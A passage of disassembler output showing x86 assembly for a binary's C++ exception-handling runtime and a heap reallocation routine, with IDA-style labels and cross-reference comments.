		cmp	[ebx], edi
		jg	short loc_413907
		cmp	edi, [ebx+4]
		jg	short loc_413907
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_413904


loc_4138A0:				; CODE XREF: sub_4137AB+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_4138D1


loc_4138B2:				; CODE XREF: sub_4137AB+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4139FA
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4138E0
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_4138B2


loc_4138D1:				; CODE XREF: sub_4137AB+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_4138A0
		jmp	short loc_413904
; ---------------------------------------------------------------------------


loc_4138E0:				; CODE XREF: sub_4137AB+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_413B0B
		add	esp, 2Ch


loc_413904:				; CODE XREF: sub_4137AB+F3j
					; sub_4137AB+133j
		mov	edi, [ebp+var_10]


loc_413907:				; CODE XREF: sub_4137AB+DEj
					; sub_4137AB+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41387B
; ---------------------------------------------------------------------------


loc_413912:				; CODE XREF: sub_4137AB+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_413922
		push	1
		push	esi
		call	sub_413E80
		pop	ecx
		pop	ecx


loc_413922:				; CODE XREF: sub_4137AB+56j
					; sub_4137AB+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413927:				; CODE XREF: sub_4137AB+37j
					; sub_4137AB+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41394D
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_413952
		add	esp, 20h
		jmp	short loc_413922
; ---------------------------------------------------------------------------


loc_41394D:				; CODE XREF: sub_4137AB+180j
		jmp	sub_413F5C
sub_4137AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413952	proc near		; CODE XREF: sub_4137AB+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4BA300, 0
		push	esi
		push	edi
		jz	short loc_413983
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F1BA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4139F6


loc_413983:				; CODE XREF: sub_413952+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_40F2E3
		add	esp, 14h
		mov	esi, eax


loc_41399F:				; CODE XREF: sub_413952+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4139F6
		cmp	edi, [esi]
		jl	short loc_4139EE
		cmp	edi, [esi+4]
		jg	short loc_4139EE
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_4139C8
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_4139EE


loc_4139C8:				; CODE XREF: sub_413952+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_413B0B
		add	esp, 2Ch


loc_4139EE:				; CODE XREF: sub_413952+57j
					; sub_413952+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41399F
; ---------------------------------------------------------------------------


loc_4139F6:				; CODE XREF: sub_413952+2Fj
					; sub_413952+53j
		pop	edi
		pop	esi
		leave
		retn
sub_413952	endp


; =============== S U B	R O U T	I N E =======================================



sub_4139FA	proc near		; CODE XREF: sub_4137AB+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_413A51
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_413A51
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_413A2B
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413A4D


loc_413A2B:				; CODE XREF: sub_4139FA+1Fj
		test	byte ptr [esi],	2
		jz	short loc_413A35
		test	byte ptr [edi],	8
		jz	short loc_413A4D


loc_413A35:				; CODE XREF: sub_4139FA+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_413A44
		test	byte ptr [edi],	1
		jz	short loc_413A4D


loc_413A44:				; CODE XREF: sub_4139FA+43j
		test	al, 2
		jz	short loc_413A51
		test	byte ptr [edi],	2
		jnz	short loc_413A51


loc_413A4D:				; CODE XREF: sub_4139FA+2Fj
					; sub_4139FA+39j ...
		xor	eax, eax
		jmp	short loc_413A54
; ---------------------------------------------------------------------------


loc_413A51:				; CODE XREF: sub_4139FA+Bj
					; sub_4139FA+14j ...
		push	1
		pop	eax


loc_413A54:				; CODE XREF: sub_4139FA+55j
		pop	edi
		pop	esi
		retn
sub_4139FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413A57	proc near		; CODE XREF: sub_413710+34p
					; sub_413B0B+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41A488
		push	offset sub_416728
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_413A89:				; CODE XREF: sub_413A57+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_413AE3
		cmp	esi, 0FFFFFFFFh
		jle	short loc_413A98
		cmp	esi, [edi+4]
		jl	short loc_413A9D


loc_413A98:				; CODE XREF: sub_413A57+3Aj
		call	sub_413FB2


loc_413A9D:				; CODE XREF: sub_413A57+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_413AB8
		push	103h
		push	ebx
		push	eax
		call	sub_413F10


loc_413AB8:				; CODE XREF: sub_413A57+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_413AD8
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_413AF5
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_413AD8:				; CODE XREF: sub_413A57+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_413A89
; ---------------------------------------------------------------------------


loc_413AE3:				; CODE XREF: sub_413A57+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413A57	endp


; =============== S U B	R O U T	I N E =======================================



sub_413AF5	proc near		; CODE XREF: sub_413A57+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_413B06
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_413B06:				; CODE XREF: sub_413AF5+Cj
		jmp	sub_413F5C
sub_413AF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B0B	proc near		; CODE XREF: sub_4137AB+151p
					; sub_413952+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_413B2D
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_413CBC
		add	esp, 10h


loc_413B2D:				; CODE XREF: sub_413B0B+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_413B39
		push	edi
		jmp	short loc_413B3C
; ---------------------------------------------------------------------------


loc_413B39:				; CODE XREF: sub_413B0B+29j
		push	[ebp+arg_24]


loc_413B3C:				; CODE XREF: sub_413B0B+2Cj
		call	sub_40F0BC
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_413A57
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_413B86
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_413B81
		push	edi
		push	eax
		call	sub_40F07A


loc_413B81:				; CODE XREF: sub_413B0B+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_413B0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B86	proc near		; CODE XREF: sub_413B0B+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41A498
		push	offset sub_416728
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4BA2F8
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4BA2FC
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4BA2F8, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4BA2FC, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_40F141
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_413C4C
		mov	eax, [ebp+var_2C]


loc_413C13:				; CODE XREF: sub_413C2C+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413B86	endp


; =============== S U B	R O U T	I N E =======================================



sub_413C22	proc near		; DATA XREF: .packed:0041A4A8o
		push	dword ptr [ebp-14h]
		call	sub_413C92
		pop	ecx
		retn
sub_413C22	endp


; =============== S U B	R O U T	I N E =======================================



sub_413C2C	proc near		; DATA XREF: .packed:0041A4ACo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_40F3A2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_413C13
sub_413C2C	endp

; ---------------------------------------------------------------------------


loc_413C44:				; DATA XREF: .packed:0041A4A0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_413C4C	proc near		; CODE XREF: sub_413B86+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4BA2F8, eax
		mov	eax, [ebp-20h]
		mov	dword_4BA2FC, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_413C91
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_413C91
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_413C91
		cmp	[ebp-24h], ebx
		jnz	short locret_413C91
		cmp	[ebp-2Ch], ebx
		jz	short locret_413C91
		call	sub_40F40A
		push	eax
		push	edi
		call	sub_413E80
		pop	ecx
		pop	ecx

locret_413C91:				; CODE XREF: sub_413C4C+1Cj
					; sub_413C4C+22j ...
		retn
sub_413C4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_413C92	proc near		; CODE XREF: sub_413C22+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_413CB9
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_413CB9
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_413CB9
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_413CB9
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_413CB9:				; CODE XREF: sub_413C92+Cj
					; sub_413C92+12j ...
		xor	eax, eax
		retn
sub_413C92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CBC	proc near		; CODE XREF: sub_413B0B+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41A4B0
		push	offset sub_416728
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_413E65
		cmp	byte ptr [eax+8], 0
		jz	loc_413E65
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_413E65
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_413D59
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_41726A
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_413E5C
		push	1
		push	edi
		call	sub_417286
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_413E5C
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_413D4A:				; CODE XREF: sub_413CBC+F5j
		push	eax
		call	sub_413EE7
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_413E61
; ---------------------------------------------------------------------------


loc_413D59:				; CODE XREF: sub_413CBC+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_413DB3
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_41726A
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_413E5C
		push	1
		push	edi
		call	sub_417286
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_413E5C
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_40F480
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_413E61
		mov	eax, [edi]
		test	eax, eax
		jz	loc_413E61
		add	esi, 8
		push	esi
		jmp	short loc_413D4A
; ---------------------------------------------------------------------------


loc_413DB3:				; CODE XREF: sub_413CBC+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_413DFB
		call	sub_41726A
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_413E5C
		push	1
		push	edi
		call	sub_417286
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_413E5C
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_413EE7
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_40F480
		add	esp, 0Ch
		jmp	short loc_413E61
; ---------------------------------------------------------------------------


loc_413DFB:				; CODE XREF: sub_413CBC+103j
		call	sub_41726A
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_413E5C
		push	1
		push	edi
		call	sub_417286
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_413E5C
		push	dword ptr [esi+18h]
		call	sub_4172A2
		pop	ecx
		test	eax, eax
		jz	short loc_413E5C
		test	byte ptr [esi],	4
		jz	short loc_413E42
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_413EE7
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_40F0B5
		jmp	short loc_413E61
; ---------------------------------------------------------------------------


loc_413E42:				; CODE XREF: sub_413CBC+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_413EE7
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_40F0AE
		jmp	short loc_413E61
; ---------------------------------------------------------------------------


loc_413E5C:				; CODE XREF: sub_413CBC+6Aj
					; sub_413CBC+7Cj ...
		call	sub_413FB2


loc_413E61:				; CODE XREF: sub_413CBC+98j
					; sub_413CBC+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_413E65:				; CODE XREF: sub_413CBC+2Ej
					; sub_413CBC+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413CBC	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_413F5C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E80	proc near		; CODE XREF: sub_4137AB+170p
					; sub_413C4C+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41A4C0
		push	offset sub_416728
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_413EC7
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_413EC7
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_40F0AE
		or	[ebp+var_4], 0FFFFFFFFh


loc_413EC7:				; CODE XREF: sub_413E80+2Aj
					; sub_413E80+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413E80	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_413F5C

; =============== S U B	R O U T	I N E =======================================



sub_413EE7	proc near		; CODE XREF: sub_413CBC+8Fp
					; sub_413CBC+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_413F08
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_413F08:				; CODE XREF: sub_413EE7+12j
		pop	esi
		retn
sub_413EE7	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F10	proc near		; CODE XREF: sub_40F141+40p
					; sub_413A57+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_40F42D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_413F4F
		mov	ecx, 2


loc_413F4F:				; CODE XREF: sub_413F10+38j
		push	ecx
		call	sub_40F42D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_413F10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F5C	proc near		; CODE XREF: sub_4137AB:loc_41394Dj
					; sub_413AF5:loc_413B06j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004172BA SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41A4D0
		push	offset sub_416728
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4BA304
		test	eax, eax
		jz	short loc_413FA4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_413FA0
; ---------------------------------------------------------------------------


loc_413F99:				; DATA XREF: .packed:0041A4E0o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_413F9D:				; DATA XREF: .packed:0041A4E4o
		mov	esp, [ebp+var_18]


loc_413FA0:				; CODE XREF: sub_413F5C+3Bj
		and	[ebp+var_4], 0


loc_413FA4:				; CODE XREF: sub_413F5C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_413FAD:				; DATA XREF: .packed:0041A4D8o
		jmp	loc_4172BA
sub_413F5C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FB2	proc near		; CODE XREF: sub_40F2E3+23p
					; sub_40F2E3:loc_40F34Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41A4E8
		push	offset sub_416728
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_424214
		test	eax, eax
		jz	short loc_413FFA
		mov	[ebp+var_4], 1
		call	eax ; sub_413F5C
		jmp	short loc_413FF6
; ---------------------------------------------------------------------------


loc_413FEF:				; DATA XREF: .packed:0041A4F8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_413FF3:				; DATA XREF: .packed:0041A4FCo
		mov	esp, [ebp+var_18]


loc_413FF6:				; CODE XREF: sub_413FB2+3Bj
		and	[ebp+var_4], 0


loc_413FFA:				; CODE XREF: sub_413FB2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_414003:				; DATA XREF: .packed:0041A4F0o
		jmp	sub_413F5C
sub_413FB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414008	proc near		; CODE XREF: sub_40F7C3+35p
					; sub_419489+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_414023
		push	[ebp+arg_4]
		call	sub_40E882
		pop	ecx
		jmp	loc_4142A3
; ---------------------------------------------------------------------------


loc_414023:				; CODE XREF: sub_414008+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_414038
		push	[ebp+arg_0]
		call	sub_40ECAF
		pop	ecx
		jmp	loc_4142A1
; ---------------------------------------------------------------------------


loc_414038:				; CODE XREF: sub_414008+20j
		mov	eax, dword_4BB8E4
		cmp	eax, 3
		jnz	loc_414148


loc_414046:				; CODE XREF: sub_414008+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_414124
		push	[ebp+arg_0]
		call	sub_4117EF
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_4140FF
		cmp	esi, dword_4BB8DC
		ja	short loc_4140B8
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_411FF8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4140B4
		push	esi
		call	sub_411B43
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4140B8
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_414098
		mov	eax, esi


loc_414098:				; CODE XREF: sub_414008+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_40E940
		push	ebx
		call	sub_4117EF
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41181A
		add	esp, 18h


loc_4140B4:				; CODE XREF: sub_414008+74j
		test	edi, edi
		jnz	short loc_4140FB


loc_4140B8:				; CODE XREF: sub_414008+62j
					; sub_414008+81j
		test	esi, esi
		jnz	short loc_4140BF
		push	1
		pop	esi


loc_4140BF:				; CODE XREF: sub_414008+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4BB8E0
		call	dword_41A120	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_4140FB
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4140E7
		mov	eax, esi


loc_4140E7:				; CODE XREF: sub_414008+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_40E940
		push	[ebp+arg_0]
		push	ebx
		call	sub_41181A
		add	esp, 14h


loc_4140FB:				; CODE XREF: sub_414008+AEj
					; sub_414008+D0j
		test	ebx, ebx
		jnz	short loc_414120


loc_4140FF:				; CODE XREF: sub_414008+56j
		test	esi, esi
		jnz	short loc_414106
		push	1
		pop	esi


loc_414106:				; CODE XREF: sub_414008+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4BB8E0
		call	dword_41A154	; RtlReAllocateHeap
		mov	edi, eax


loc_414120:				; CODE XREF: sub_414008+F5j
		test	edi, edi
		jnz	short loc_414141


loc_414124:				; CODE XREF: sub_414008+43j
		cmp	dword_4BA2DC, 0
		jz	short loc_414141
		push	esi
		call	sub_4115BA
		test	eax, eax
		pop	ecx
		jnz	loc_414046
		jmp	loc_4142A1
; ---------------------------------------------------------------------------


loc_414141:				; CODE XREF: sub_414008+11Aj
					; sub_414008+123j ...
		mov	eax, edi
		jmp	loc_4142A3
; ---------------------------------------------------------------------------


loc_414148:				; CODE XREF: sub_414008+38j
		cmp	eax, 2
		jnz	loc_414263
		cmp	esi, 0FFFFFFE0h
		ja	short loc_414165
		test	esi, esi
		jbe	short loc_414162
		add	esi, 0Fh
